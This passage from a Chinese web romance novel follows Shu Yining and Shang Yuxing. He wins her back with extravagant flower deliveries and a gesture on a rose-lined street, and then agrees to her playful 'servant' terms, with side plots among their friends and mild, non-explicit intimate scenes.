舒以宁清了清嗓子,一本正经道:“我们说正事。” 许夏天心道这不就是你们俩那正事?不过,明面上她还是顺着舒以宁,说:“我的错我的错,您继续。” 舒以宁经这么一打岔,那股怒火早就被浇得七七八八了。 她想了想,总结道:“总之,我很生气,所以我……” 许夏天等着她下面的话。 舒以宁鼓了鼓腮帮子。 许夏天又等了一会儿,终于忍不住追问:“所以你怎么制裁他的?” 舒以宁:“我就很生气地跟他说,我删不了。” 许夏天忙问:“那你没告诉他,你没有肖寂微信?” 舒以宁眨着漂亮的大眼睛,反问:“我为什么要告诉他?” 许夏天只能朝她竖起挺翘的大拇指:“SIX。” 舒以宁:“我把他的话原封不动还给他,我跟他说,我给你最后一次机会,你想和我继续下去,你就好好摆正你的位置,我不是你的下属,不吃你那套命令;你要是不想,我也可以不要舒住,我舒以宁会被拿捏一次两次,但绝对不会有第三次。” 许夏天听完,简直惊诧得嘴巴都闭不上了。 牛批啊。 以为是青铜,没成想是个王者! 不愧是她的好姐妹!! 舒以宁补充道:“我跟他说,给他三天时间考虑清楚。” 许夏天叹为观止,不得不佩服舒以宁的这番操作。她忍不住赞叹:“这波反客为主,你在大气层。” 舒以宁微微蹙眉,不无担心地开口:“你说……他要是感觉受了侮辱,不来找我怎么办?”接着,她欲盖弥彰地补充:“我可不是因为他啊,我是怕舒住真的受影响。” 舒以宁显然多虑了。 同一时间,R&F顶楼包厢里,邢南不由啧舌:“以宁胆子这么肥了?” “不过——肖寂搞摇滚的,最喜欢特立独行,他根本没微信啊。” 商聿行唇角抿成一条笔直的直线,侧脸轮廓嶙峋冰冷。 邢南仔细回味了一会儿这个事,明白过来他别扭在哪儿了:“你不会一直觉得肖寂对于以宁而言,很特殊吧?爱而不得,所以难以忘怀?” 商聿行冷冷看了他一眼。 邢南没被他吓到,反而忍不住捧腹大笑:“哈哈哈哈,阿行啊,你竟然也有今天,哈哈哈哈……” 为感情所困,患得患失,落了爱情的俗套。 咯噔一声,岩石杯杯底撞击大理石桌面,发出清脆的声响。 声音不轻,彰显着主人的不虞。 商聿行放下交叠的长腿,起身要走。 “哎,等等。”邢南立马站起来拦住他,笑道:“让我笑会儿怎么了?是兄弟还不能给我笑两句了?从小到大,你做什么事情都是无可无不可的,淡定得不得了。遇上以宁,小情绪倒是多起来了。” 商聿行抬眸看着他。 邢南笑得一脸人畜无害,“干嘛,要我对着你的眼神做阅读理解?我可没这个本事。你要早告诉我你对以宁有意思,那这么多年我能帮你的早就都帮了,指不定你和以宁现在孩子都已经能在路上跑了。” 商聿行重新坐回沙发上。 邢南见他愿意吃自己画的大饼,心里默默鄙视——真没想到,他还真连生孩子都想好了。这种没啥恋爱经历的老男人就是难弄,容易一根筋,难怪被人舒以宁玩弄于股掌之中。 “你们这段感情,开始得不够郑重。你可能不觉得,但是啊,根据我的经验,女孩儿大多喜欢浪漫啊仪式感什么的。”邢南停顿了一会儿,嘲笑他:“你们俩呢?说白了,不就是你仗势欺人、逼人以宁就范?” 商聿行冷淡开口:“你不懂。” 当初在听到他提出的条件后,舒以宁一瞬间亮起的明眸,他记忆尤深。而他们相处过程中,点滴愉悦,更是不似作伪。 邢南:“那你说说,我是哪里说错了?” 商聿行笃定道:“我们是两情相悦,不是你说的仗势欺人。” “……你要不要脸。” 商聿行喝了口威士忌,面色稍霁。 邢南一脸不可思议地看着他:“请问我是比别人多了一段记忆吗?你竟然没有仗势欺人?” 商聿行看着酒杯,淡淡道:“以前有。至于现在,如果我想逼她,我今天就不会坐在这里听你讲废话。” “我这里呢,确实有一点小小的心得。”邢南晃了晃岩石杯中的清酒,笑道:“女孩儿嘛,哪有不喜欢被人捧着的?不光女孩儿,男人也是这样。你想想你自个儿,以宁要是捧着你、时不时给你制造点小惊喜,你心里头会是什么感受?” 邢南给他支招:“送点花,当然,要送得别开生面才行。” 商聿行从R&F一离开,邢南就立马打电话给楚江野,把商聿行给卖了个干净。 “他这不谈还好,一谈就深陷爱河无法自拔,不就是天生的恋爱脑吗?” 楚江野笑:“这话你怎么不当着他面说?” 邢南摇摇头,叹道:“他要是心情不错,说说开个玩笑也就说说了。这不,正犯着恋爱脑的病嘛。男女关系里谁先动感情谁就死,我看阿行,这回是栽得很彻底。” 楚江野笑着调侃他:“难道要人人和你一个样,被抛弃了也就笑笑,直接放手?” 邢南听他提起这事,略停顿了一会儿,继而换上无所谓的语气说:“我这叫尊重他人的选择。” 紧接着,他立马又兴致勃勃地问楚江野:“你猜,阿行从什么时候开始上喜欢以宁的。” 楚江野:“煞笔。” 邢南向来不吃亏,笑眯眯问道:“江野啊,好好的,你念自个儿名字做什么?” 楚江野冷笑了一声,“你没给阿行出什么馊主意吧?” “我可是良师诤友,出的都是切实有效的好方案。” 楚江野:“嗯,上回要试探阿行的馊主意不就是你出的?闹得他们俩就这么分掉了,这事,你向阿行坦白了没有?” 邢南:“???” 他怀疑楚江野这小子试图篡改他的记忆,“不是你要试探的?怎么变成是我的主意了?” 楚江野慢悠悠道:“没有这回事。你告诉他,我也不会承认的。你要么瞒好了,别嘴上没锁门,哪天几杯酒下肚喝过了就一五一十全吐出来了,要么——就好好背好这口锅。” 邢南:“……你个厚颜无耻之徒。” “说真的,既然你已经知道阿行对以宁是认真的,那就应该想得明白,兄弟间的试探永远都不要让他们俩知道。这种事可大可小,我们随意聊天,造成了阿行和以宁之间的误会,这倒是不打紧……但如果被知道是我们故意捉弄阿行,又碰巧被以宁听去了,你觉得阿行能忍吗?说不定会连兄弟都没得做。” 邢南不以为意:“哪有你说得这么夸张?” 楚江野无奈地吐出一口长长的气,然后跟他说:“对于阿行而言,舒以宁的重要程度,绝不亚于你我。” 邢南回道:“重色轻友就重色轻友嘛,你干嘛说得这么文绉绉?” 楚江野叹了一口气,说:“你是怎么做到没让别人觉得你幼稚的?” 邢南用十分理所当然的语气,理直气壮道:“你和阿行从小就照顾我,我不在你们面前幼稚,难道我能跑到舒以宁许夏天面前去幼稚?” 楚江野挂电话前,语重心长地再度叮嘱他:“阿行感情上的事你少插手,让他们俩单独去解决。” ** 翌日早上八点,舒以宁收到了还带着果园泥土的意大利柠檬花。月牙白的薄薄花瓣微微透光,花心泛着鹅黄的星芒,带着柑橘类植物的清冽香气。 九点,三支莲花,仿佛还带着未散尽的薄雾。 十点,熔岩烧制的透明容器里装置着冰川苔藓。 十一点,橘粉色包子型伦敦眼奥斯汀玫瑰。 …… 一小时一束,物业管家一拿到花就送上来。 “都是那位先生亲自送来的呢,他说,他正在追求您。” 物业管家是个长得很可爱的年轻小姑娘,无不艳羡道。 一小时一束的花,一直送到夜里十一点钟都还没结束。 这次是饱满得简直快要炸开的蓝色多瑙河绣球,物业管家是轮班制,六点钟的时候就已经换了一个人上来送。 每小时一束花,又是大晚上,确实很辛苦。舒以宁给物业管家转了一个四位数吉利数字的微信红包。 “这回还是他自己来送的?”舒以宁忍不住拿出事先找出来的商聿行的偷拍照片,“是他?” 物业管家仔细看了看照片中西装革履的男人,辨认了会儿,点点头说:“嗯,看脸应该就是这位先生,不过他是骑摩托车来的。” “摩托车?他还会骑摩托?”舒以宁讶然。 “您想下去看看吗?我送完花下去了,他才会走。”物业管家说。 “不,不用了。”舒以宁按捺不住好奇心,最终还是悄悄道:“你偷偷拍一张发我手机上,别被他看见了。嗯……还有,我要睡了,如果还有花,你就都帮我放门口吧。”—— 作者有话说:怎么会让我们舒大小姐吃亏呢[撒花] 本文的宗旨就是,只虐商聿行[撒花] 第56章 舒以宁翻来覆去睡不着。 打开手机对着照片看了又看。 拍到的是他跨上哈雷的侧身剪影。 哑光黑的碳纤维外壳包裹住了男人修长有料的身材,反光银的拉链冰冷无情。真是又利落,又漂亮。 头盔也很酷,露出一部分他那张令人过目难忘的脸。 舒以宁按灭手机屏幕,在黑夜中躺了一会儿。不知过了多久,还是睡不着。手机屏幕又亮了起来,几分钟后又按灭。如此反复,一直弄到三点多都还没能睡着。 舒以宁索性起来了,套上拖鞋走出卧室,穿过客厅,打开了门。 门外,摆放着四束鲜花,整齐有序,一束花对应着一个时间点。 午夜十二点的喷色的厄瓜多尔彩虹玫瑰,凌晨一点的博物馆级黑色郁金香,两点的染井吉野樱花枝,三点的簇生蓝紫调薰衣草。 凌晨四点会是什么? 舒以宁不由得开始期待起来。 会是海棠花吗? 川端康成凌晨四点钟醒来,发现海棠花未眠。 然而四点钟,物业管家送上来的是肯尼亚拿铁玫瑰,融合了裸粉与焦糖色,温柔地绽放着。很美很漂亮,但却不是舒以宁想要的。 “你帮我和送花的那个人说,四点钟我要海棠花,他送的这束玫瑰我不满意。” 她抱胸倚在门口,纤长的眼睫毛微微翘起,声音带着毫不掩饰的骄纵与霸道。 华东地区的海棠至少也得进了三月才能开花,眼下刚入二月,华东地区气候寒冷,没有事先调度的情况下,一时间很难找出盛开的海棠花来。 但距离四点半还差三分钟的时候,一盆海棠花被送了上来。 是丽格秋海棠。 “那位先生说海棠正从广州空运过来,六七点钟能到,先带一盆秋海棠向舒小姐您赔罪。” 舒以宁从凌晨四点半,睡到下午一点起床。 收到了一枝桠的海棠花,还有另外三束花,以及一捧硕大的99朵黑红色玫瑰。BlackBaccaraRose,以神秘优雅闻名于世,丝绒质地的花瓣层层叠叠,边缘镀着暗紫色的光。 而这一天,国贸到浅水湾鼎苑的整条街都被肯尼亚拿铁玫瑰与扦插的海棠花装饰,盛开的鲜花一路蜿蜒,惊动了当地媒体与不少前来打卡的网红。 浪漫的视觉冲击,堪称轰动。 街头巷尾的传闻中,将其描述为“S先生对N小姐的求爱”。 “他这回好高调啊,一点都看不出来他这么低调的人会做出这么高调的事情来哎!”许夏天很是兴奋,眨着星星眼问舒以宁:“那你这回要原谅他吗?24小时24束花,连你要的海棠也给安排上了苏小宁痛街哎!” “把你的平翘舌音给我分清楚点。”舒以宁每次听她喊“舒小宁”都怀疑她是不是喊成了她那本《霸总小逃妻的第99次》漫画中的苏小宁。 许夏天笑得见牙不见眼:“哎呀呀,这又不是重点。你到底要不要接受他的告白?嗯?” 舒大小姐坐直,抬高下颌淡定道:“才两天,我就答应了岂不是很没面子?” “所以你现在到底怎么想的?你这不是摆明了还喜欢他,我都懒得拆穿你。”许夏天说。 舒以宁承认:“我是挺喜欢他不假,但现在是他要来乞求我的喜欢。我喜欢他,跟我愿意给他我的喜欢是不一样的。” 许夏天把脸托在桌子上,巴巴地望着她:“说什么呢叽里咕噜的听不懂,能不能直接上床谈?” 舒以宁:“……” 许夏天认真问道:“那我问你啊,你要是以后再也睡不到他了,你会后悔吗?” 舒以宁想了想,好像确实有点可惜。 毕竟,他……还是很不错的,各个方面。 许夏天没想要她的回答,接着问:“我再问你啊,你要是以后只能睡他,你会后悔吗?” 舒以宁微微一愣。 这个问题她倒是从来没有想过。 不过很快,她就毫不在意地开口了:“两个人在一起分分合合不是很正常?有什么‘以后只’的?我以为类似于永远这样只作口头性承诺的誓言只会出现在婚礼上。” 西岸那边,蓝溪没有放弃,再度向她抛出了橄榄枝。这回连老馆长也亲自给她打电话,言辞恳切:“现代大都会色彩展我们找不到合适的人来做,以宁,在我和蓝溪心目中,除了你以外没有人可以胜任这个项目。” 馆长足够了解她:“你想做的neoromanticism插画展属于艺术运动范畴,只要现代大都会色彩展做成功,馆里愿意支持你做。在外面你很难找到这么志同道合的团队,我想,至少在西岸这几年,你的情感表达和个人体验应当都是得到了满足的。” 舒以宁听到馆长这么说,不可谓不动心,只是—— “我目前可能不太适合回来工作。” 馆长问:“听蓝溪说,你和商盛的商聿行在谈恋爱?他控制欲太强了?” 舒以宁下意识反驳:“不,没有的事。” 他们可没有在谈恋爱,虽然这狗东西的控制欲确实很强。 舒以宁想了想,又有点难以启齿地补充道:“我们……在冷战。” 虽然冷战好像已经结束了,但她是不会这么快就原谅他的。 搞点浪漫动作就想让她回头? 哪能这么容易。 最后,馆长说:“以宁,这是我退休前最想做的一个展了,你就当来帮帮我,好吗?我等你的回复,以宁。” 西岸的事暂且放一边,商聿行这厢送完24小时的花、布置过鲜花痛街示爱,很快就又有了下一步动作。 当天夜里,舒以宁就接到了商聿行的电话。 “舒小姐,请问可以邀请你一起去兜风吗?” 男人的低音缓慢而磁性,声声叩在她的心弦上。 舒以宁抿了抿唇角,心想:大冬天,兜什么风。 倒是可以玩玩脱你的摩托车服,把你酱酱酿酿,再酿酿酱酱。 但舒以宁的气还没消,拒绝:“我要睡了。” “那我等你睡醒,以宁。”他说。 舒以宁白天已经补觉补够了,这会儿自然是睡不着的。 她决定下楼偷偷去看一眼。 到了小区门口,扫了一圈都没看见哈雷。 敢情这狗东西根本就没来这儿,竟然还敢先给她打电话。 哪个追人的不是到了楼下再邀请? 看那边那辆绿色的兰博基尼,人家摆明了也是来接人,跑车早早的就等在这儿了,这才是…… 下一秒,车门打开,从驾驶座下来一个熟悉的男人。 ——是商聿行。 他穿着米白色低领羊绒衫,露出一截颀长苍白的脖颈,外面套一件平驳领黑色大衣,很英伦风的穿搭。 本就接近190的高身架被衬托得愈显肩宽腿长,赫然一副不怕冷的硬挺模样。 舒以宁脚步没动,看着他一步一步走近。 商聿行走到她面前三步远的位置,停下来,深眸染上笑意:“以宁,我给你准备了惊喜。”他望向兰博基尼后备箱。 后备箱开启,满满当当的蜜桃色奥斯汀玫瑰,金属银气球、银白色气球、铝箔爱心气球、星星灯串以及LOVE爱心横幅一应俱全。 暖黄光点顺着花茎流淌,一闪一闪,衬着上方的LOVE爱心横幅。 是热恋中的情侣常见的小惊喜。 舒以宁随着他的目光看了会儿后备箱,转过头来看向商聿行。 商聿行也正垂眸凝视她,漆黑双眸温柔而克制,像一片汪洋大海,眼角带着一抹缱绻,让人忍不住想沉溺其中。他的长相偏清冷矜贵,轮廓很深,但低眸这么看着她的时候,整个人莫名变得柔和起来。 “为什么又是鲜花?”舒以宁故意挑刺。 男人微勾唇角:“因为我爱你,以宁。” 真是一句油腔滑调的情话。 起了晚风,立春已过,但风里还残留着冬日的清冽,寒意一寸寸地渗入。 被路灯拉长的两条影子在风里微微摇晃,犹如荡漾而起的春波。 舒以宁穿的高领毛衣,双手插在羊绒大衣的兜兜里,只露出一张净白的巴掌脸。就这么打量着他,也没再说话。 隆冬夜寒,带着潮气的冷风凛冽,呼吸间能看见微弱的团团白雾。 商聿行向她发出邀请:“天冷,来我这里躲一躲吗?” 舒以宁以为他说得是车里,“好啊。” 下一秒,男人跨步往前,将她包裹进了他的黑色大衣里。 舒以宁没穿高跟鞋,这个身高差正好能令她的鼻子贴着他胸膛。他的毛衣上有一种干燥蓬松的柔软,像是花房里穿透头顶玻璃的阳光,带着令人心安的暖。 舒以宁仔细嗅了嗅,闻到淡淡的雪松香气,以及,似有若无的烟草味。 轻淡而醇和,好闻极了。 “你抽烟了?”舒以宁不由大吸了一口他身上的清浅味道。她知道他没有烟瘾,只偶尔抽上一两支雪茄。莫非是在车里等的时候,点了支雪茄来抽? 商聿行自然不会告诉她,毛衣的气味是刻意沾染的。今天这一身,从视觉到气味,都是他根据她的喜好做出的看似简单却下了不少功夫的搭配。 只靠浪漫是不够的,所以他决定—— 色诱。 商聿行轻轻道:“你把脸抬起来。” 舒以宁不知道他打的什么主意,但还是从他柔软的毛衣里钻出头,微微昂起脑袋,仰着脸看他。 这个距离,这个角度,她能看清他高挺的鼻梁和棱角分明的下颚线。 那双眼睛如黑渊般深不见底,却又带着致命的吸引力,像一场不动声色的狩猎:“来我嘴唇上,检查一下吗?”—— 作者有话说:邢南:兄弟,你好sao啊[狗头] 第57章 舒以宁很快尝到了他唇齿中的味道。 他们在夜色中吻得难舍难分。 寒风很冽,他的体温却很暖和,连露在外面的、凸出一大截的喉结都是那么的烫。 于舒以宁而言,这个男人依旧有着致命的吸引力,他身上的每一分每一寸都令她熟悉,却欲罢不能。 让她明知危险,却又忍不住去靠近。 当晚,商聿行第一次踏入了浅水湾鼎苑。 他终于姗姗来迟,赶上了他那些在她门口停留的鲜花的脚步。 两个人都已经冷静下来了一些。 舒以宁的神思渐渐拉扯回来,在最后关头,她寻回理智喊了停。 “睡可以,但我们要讲清楚,我已经不是你的助理了,商聿行。”她寸步不让,一瞬不瞬地盯着他的黑眸。 商聿行眼睑半敛,垂眸看了她一会儿。 舒以宁知道他有话要讲,安静地与他对视,没有说话。 男人棱角分明的轮廓被夜色勾勒出几分柔和,少了两分冷峻,泛出静水流深的沉稳与复杂,难以见底。 眼神却温柔而诚挚。 “以宁,回来我身边吧。” 舒以宁自然不会因为他这一句话就松口,“你就是用这样的态度追人的?” “可以回来我身边吗?舒小姐?”他低头吻了吻她的手背,“你提分开那天发生的事,邢南都已经告诉我了。我没有什么好辩解的,是我为了面子,没有给予你该有的平等与尊重。你想怎么惩罚我,我都可以接受,只要你愿意回到我身边。” 舒以宁直接说:“我要你手里一半的商盛股份。” 商聿行:“我目前持有的商盛股权极为有限,基本都在我父亲与母亲名下。如果你想分一半,可以先和我结为法律意义的伴侣,在这之后我会先把我名下股权转赠于你,也会向我父亲提出……” “那我不要股份了。”舒以宁想了想,说:“我要再想想,你走吧,你回去等通知。” 商聿行明白她的意思,微微颔首:“好。”但他丝毫没有要离开的意思。 过了一会儿,他问:“我什么时候可以搬进你的公寓,以宁?” 舒以宁讶然,不由反问他:“我都还没原谅你,你就已经想睡觉的事情了??你就不怕我提出的条件你无法接受?” 商聿行微微笑:“你愿意对我生气,就说明我没有被判死刑。” 接着,他说:“我承认,我心胸狭窄,嫉妒心强,眼里容不下沙子。以宁,请你原谅我。”他在忏悔,在为自己失格的言行乞求她的谅解:“我为我在R&F的不当言行向你道歉,为我这些日子以来对你造成的所有不快乐,向你道歉。” 舒以宁渐渐平静下来。 说实话,她不认为他有说什么实在过分的话。 ——不过一个女人而已。 这着实不能算是多难听多伤人的话,只是,先动感情的人向来输得彻底,所以她才会如此难受、甚至于无法再去维持表面的和谐。 只是,要原谅他吗? 那自然是不行的。 舒以宁最是喜欢拿乔,摆出大小姐脾气来要人哄:“你道歉了,我就要原谅你吗?” “——除非,你给我当奴隶。” ** 舒大小姐口中的奴隶自然就只是一般意义上的奴隶,毕竟,她对于小圈文化虽有耳闻但并无涉猎,更没有这项爱好。 商聿行做奴隶的第一天,做好了早餐才去上班。 舒以宁起得晚,一边吃早餐一边回他的消息。 商聿行:[起来吗?] 舒以宁:[刚起,这酸奶松饼你用什么做的?还挺好吃。] 商聿行不知道从哪搞来了一张“请尽情吩咐妲己”的表情包,舒以宁看着屏幕上出现的这张表情包,一口牛奶差点喷出来。 商盛二期C幢,二十七楼会议室。 会议结束,商聿行率先起身,大步走出会议室。 分管游戏事业部的副总拉住江路南,小声问:“总裁最近在打王者?把微信头像都换成妲己了?”新手入门一开始都是打法师和射手,很正常。就是……和总裁平日里的形象实在是太不搭了,他无意间看见头像的时候都要怀疑总裁是不是被盗号了。 江路南很好地维持住了脸上的微笑,说:“可能舒小姐最近带着总裁玩点小游戏。” “舒小姐?我怎么听人说……”这个副总是技术出身,没什么架子,他一拍脑门,“肯定是我听错了。” “情侣间分分合合嘛,很正常,哪有小情侣不吵架的。”江路南回答得滴水不漏。 舒以宁在五人小团体群里喊他们去看商聿行的头像。 可惜群里只有秦延昭有商聿行的微信。他没在拍戏,看到消息后的第一时间就截图发在了群里。 王樾:[] 王樾:[这他妈是商聿行??] 王樾:[反差这么大的吗,我艹] 舒以宁骄傲地在群里打下了一行消息:[我命令他换的。] 就在他早上给她发了小妲己的表情包之后。 群里,许夏天连发了几张意味深长的表情包,其中夹杂了一条王樾的语音消息。 舒以宁点开,王樾杀猪般的声音顿时响了起来:“妈的,你又跟商聿行搞在一起了?” 王樾:[晚上出来喝酒!@舒以宁@all] 舒以宁回:[明晚吧。] 至于今晚…… 她想玩一玩商聿行:) 今天五点半,商聿行准时下班。 司机开着迈巴赫将他送到浅水湾鼎苑门口。 商聿行没有下车,先在手机上发:[以宁,我回来了。] 两分钟后,舒以宁给他开了访客权限。 江路南坐在副驾驶座上,从中央后视镜中观察到商聿行翘起了唇角。他立马下车,从后备箱中取出白天抽空去世纪城帮总裁整理好的行李。 一个28寸的行李箱。 他本想拖着行李箱送商聿行上去,不想,被拒绝了。 “你先回去吧,我自己来。”商聿行接过行李箱拉杆。 江路南脑子一时短路,不怕死地问了一句:“总裁,您真的不会被赶出来吗?” 莫非是怕一会儿万一被赶出来,被他看见了嫌丢人? “江路南,你有兴趣去非洲看动物大迁徙吗?”商聿行十分友好和善地问道。 ** 许夏天与新认识的亲友一道在万象城出cos。活动结束得早,还不到七点钟。她与亲友们一起找了家漂亮饭聚餐,恰好遇到一初中同学也在这家餐厅过生日。 一群二次元浩浩荡荡走进餐厅,很难不引人注目,那位初中同学很快就在其中认出了许夏天。他过来打招呼,并邀请她们一起参加他的生日派对。 席间有不少认识的人,比如,温琪冉。她与这位过生日的初中同学关系一直不错,自然没有不过来给他庆生的道理。 有人问起许夏天:“舒以宁和商聿行是分了吗?好久没看到他俩一起出现了。” 温琪冉笑眯眯插话:“你才知道啊,年前就分了呢。” 许夏天瞟了她两眼,粲然笑道:“你的消息也太落后了吧!以宁和行哥早就复合了啊!前两天国贸那条布满玫瑰花和海棠花的痛街你没听说吗?S先生示爱N小姐,就是行哥为了讨以宁欢心特意空运来的鲜花呀!” “哇,真的假的,商聿行这么浪漫?” “天哪,不愧是以宁啊。” 寿星喝多了两杯,嚷嚷起来吹牛逼:“想当年我和行哥也是有过交情的,你们可别不信!我还有和行哥南哥一块儿打球的照片,你们想看吗?” 众人一阵捧场。 吃完饭、切完蛋糕刚过九点钟,他们还要去下一场继续庆祝。许夏天以白天累着为理由推掉了,温琪冉也说一会儿有事就不跟去玩了。 亲友们走得早,其余人还在餐厅里等着一块儿走,就许夏天与温琪冉一块儿下了电梯。 温琪冉露出一个胜券在握的笑容,倏然开口道:“舒以宁知道吗?她知道你的秘密吗?” 许夏天转过身,感到不可思议:“哈?” 她能有什么秘密?怎么连她自己都不知道?? 温琪冉一脸的胸有成竹:“你喜欢的人。” 许夏天默默闭上嘴巴。 “你也喜欢商聿行吧?”温琪冉好整以暇看着她,“舒以宁知道这回事儿吗?” 许夏天安静地看了她一会儿,倏然笑了。 温琪冉:“嗯?” 许夏天朝她歪了歪头,笑道:“你大可告诉他们去,看看到底有没有人会相信你。” 温琪冉晃了晃手机,“真不好意思呢,我录音了。” 许夏天笑容不改:“哦,是吗?那我就等你的好消息了。”—— 作者有话说:夏夏不喜欢商聿行,温琪冉也不会搞事,下章就解决 第58章 “你是没看到她看那张照片的那个眼神,真的,一点不清白。生怕别人不知道她暗恋商聿行似的。”当然,温琪冉还是夸张了,事实上许夏天并没有多出格。她也是因为眼神一直盯在许夏天身上,才能略微品出些不同寻常来。 掌潇朝温琪冉伸出手,淡淡道:“冉冉,把手机给我。” 温琪冉以为她想再仔细听一下,立马将手机递了过去,眉飞色舞道:“我赶明儿就把录音发给舒以宁,我们就等着看好戏吧!” 掌潇接过手机,垂眸将这条录音长按删除了。 然后,又清空了回收箱。 她说:“录音我删掉了。不管许夏天是不是喜欢商聿行,都和你我无关。” 温琪冉一下子急眼了,“哎潇潇!” 掌潇将删除完录音的手机递回给她,缓缓道:“冉冉,我常常想,我们兴许对以宁抱有太大的恶意了。商聿行也好,周嘉皓也好,别的其他男人也好,他们和舒以宁产生了什么样的故事就只是他们之间的事情,我们没有资格评判,也没有资格站在事不关己的立场上去掺和。” 温琪冉拿回手机,不大高兴地抿了抿唇角,心里盘算着去电脑城把删除的数据恢复回来。 这时,她听见掌潇说:“冉冉,明明在除了舒以宁以外的事情上,你一直都是一个理智善良的人啊。” ** 许夏天收到了温琪冉发来的微信消息:[录音我已经删掉了,这件事我就当不知道。希望你能对得起你的朋友。] 许夏天:“……” 又犯什么病呢。 不过她向来在网络世界里与人为善,很快就回了个爱心贴贴的小八表情包过去。 温琪冉:[没这么亲热,少给我发这种图。] 温琪冉:[勿回。] 许夏天:“……” 好吧,看来确实病得不轻。 舒以宁这边,她暂时过上了足够逍遥快乐的日子。商聿行是一个合格的奴隶,深知如果没有按她的要求来,就有很大的可能性会被赶出去;因此,他恪尽职守,做足了安抚与对于己身的克制,舒以宁一喊停,他就顺从地去浴室用冷水解决。 就这么愉快地度过了六天。 这天,商聿行有应酬,晚上十一点钟收到了舒以宁催促的消息:[到门禁时间了,你怎么还不回来?] 他现在做着舒以宁的奴隶,这个十一点的门禁时间也是她定下的要求他遵守的规矩之一。 熟悉的回旋镖。 江路南见他们总裁对着手机屏幕露出一个浅笑,立马很有眼色地上前帮他挡去了敬过来的酒。 饶是归心似箭,他也又应酬个把钟头才堪堪脱身。一回来,就看到了舒以宁满怀期待的眼神。 舒以宁弯眸笑,说:“我给你准备了礼物。” 她用目光示意他打开床上系着白色丝带的小黑盒子。 商聿行解开丝带,打开盒子,眸光顿时变得玩味起来。 盒子里是一对黑白相间毛茸茸的发卡。 猫耳朵形状。 舒以宁环起手臂站在一旁,纤细修长的身形在吸顶灯的照射下投出一片绰约的阴影。她高傲地抬了抬下颌,命令道:“戴上。” 看这狗东西的表情,八成以为这是她要戴的了。 他想得美! 商聿行勾了下唇角,伸手拿起一只猫耳朵发卡,抬眸意味深长地看着她:“你确定?” 他骨节分明的手指把玩着猫耳朵,冷白与乌黑一对比,张力十足。 舒以宁不自然地挪开目光,冷声道:“让你戴你就戴,不戴就滚去书房睡。”说完,她还像动漫里一样傲娇地甩了下脑袋,用后脑勺对着他。 商聿行笑了笑。 等舒以宁转回头来看他时,他已经戴好了猫耳朵。 他端正地站着,脊背挺拔笔直,面部五官俊朗非凡,一双漆黑带点笑意的眼眸在此刻极为危险。配合着他黑发上的猫耳朵发卡,看上去有点像阴郁气质的病娇。 舒以宁本以为他身上那股子禁欲气质会和毛茸茸的猫耳朵形成极大的反差,结果没想到猫耳朵竟然能与他如此适配,甚至解锁了一个全新的风格。 商聿行敛眸凝视了她一会儿,往前走了两步,拉起她的手去摸他头发上的左侧猫耳朵,嗓音低沉温柔:“舒小姐可还满意?” 手背上裹着男人宽厚温热的大掌,黑发与茸毛戳在在掌心里,痒痒的。这甫一触及,顿时似有电流划过,刹那间流向了四肢百骸。 舒以宁清了清嗓子,端着姿态:“嗯……还行吧。” 接着,商聿行抓着她的手往下,摸上了他的脸。 他微微一笑,低眸缱绻开口:“还有什么要求?” 仿佛蛊惑一般,向来带了点清冷感的嗓音在这一刻压得极轻极柔,磁性得动听极了。 他都这么说了,舒以宁也就不跟他客气。 她伸出空着的那只手,径直拽住他的领带往前一拉。 商聿行配合她的动作,身体微微前倾。 舒以宁抬眸,将他的领带扯了出来,含笑睇着他:“自己咬着。” 商聿行:“?” 他的嗓音恢复到正常音量,慢条斯理道:“我可不可以申请换一条干净的?我有洁癖。” “真是拿你没办法,大少爷脾气。”舒以宁嘴上说着嫌弃的话,转身就飞快奔向衣帽间,从他仅占的两层抽屉中随手取了条干净的领带。 商聿行不紧不慢地跟到了衣帽间。 舒以宁转身就差点撞进他怀里,于是便一边埋怨他一边帮他扯下原来那条深蓝色斜条纹的领带搁置到一旁。 接着,又帮他系好干净的新领带。 商聿行全程唇角上扬,看得舒以宁忍不住提点他:“男人神秘点清冷点才有魅力,你能不能把控一下的唇角?” 商聿行勾唇笑,幽幽望着她:“我把控不住的,似乎不止唇角。” 舒以宁懒得接话,一门心思进入正题—— 她将系好的领带重重一拽,美眸流转:“现在可以咬着你的领带了吗?商总?” 商聿行将她送到他唇边的领带含住,故意用温热的嘴唇贴了她的手指一会儿。他一直都攫住她的乌眸,片刻都没有松懈。 眸色漆黑一片。 舒以宁低头看了一眼小商聿行,知道他已经开始动情了。 当然,她才不会让这狗东西这么好过。 毕竟,今晚她才是那个掌握绝对主动权的人。 商聿行咬住了一点领带,幽幽盯着他,棱角分明的脸又美又诱。 舒以宁想了想,又伸手将领带从他口中拉下来,然后拽着他的领带将人拽回了卧室。 她拽着他走到床边,松了手,转而走到他身后去。 商聿行微微往后侧过头,眉头饶有兴致地一挑。 舒以宁在他后背伸出手掌,用力往前一推—— 很好,纹丝不动。 两秒后,后知后觉明白她意图的商聿行无奈地笑了下,顺着她的剧本整个人往前倾倒在了床上。 舒以宁对他这番足够配合的优良表现十分满意。 她跪坐到他的脑袋旁,用手拍了拍他左侧肩膀,示意狗东西将脸朝她这边来。 一个愉悦美妙的夜晚就此拉开了序幕。 蓬松的羽绒被垫在身下,柔软得仿佛云朵一般,将人送上了云端。 又重重地抛下。 纠缠反复,交颈相拥。 舒以宁也终于反应过来他为什么要换一条干净的领带系上了。 ——不是他的洁癖,而是,这条领带最终团了团,被塞进她的嘴巴里堵住了她的呜咽声。 长夜漫漫。 他先前遭受的所有,也终究被他又从她身上讨了回来。 变本加厉地。 ** 接下去一周,商聿行不出意料地被踢去了书房睡。 国贸这边的浅水湾鼎苑面积不大,舒以宁的这间公寓只有一百二十平,除去客厅、书房与特意扩建的衣帽间外,还用了一间布置成带酒柜酒柜的餐厅。因此,能住的就只有主卧这一间房,能供商聿行单独落脚的也就只剩下书房。 商聿行睡了两天书房,就又开始了他明里暗里的男狐狸行径。 但舒以宁这回很小心,怎么也不着他的道,再三重申:“说好一周就是一周,我舒以宁是个很有原则的人!” 彼时商聿行单手拎着岩石杯,微微用力的纤长五指颇为赏心悦目。他抬了抬唇角,眸色很深,嗓音磁性而温柔:“我不够让你打破原则吗,以宁?” 舒以宁依依不舍地将目光从他故意扯开的胸肌处移开,环起手臂,用后脑勺对着他。 商聿行走到她身后,长臂一展,箍住她的腰身往后抱起。 舒以宁一个惊呼,挣扎间打翻了他手里没放下的酒杯,弄得衣服上都是。 “商!聿!行!”舒以宁眸光一冷,“你完了。” 可惜商聿行是从背后抱的她,并看不到她的眼神—— 当然,即使是看到了,于他而言,可能也缺乏威慑力。 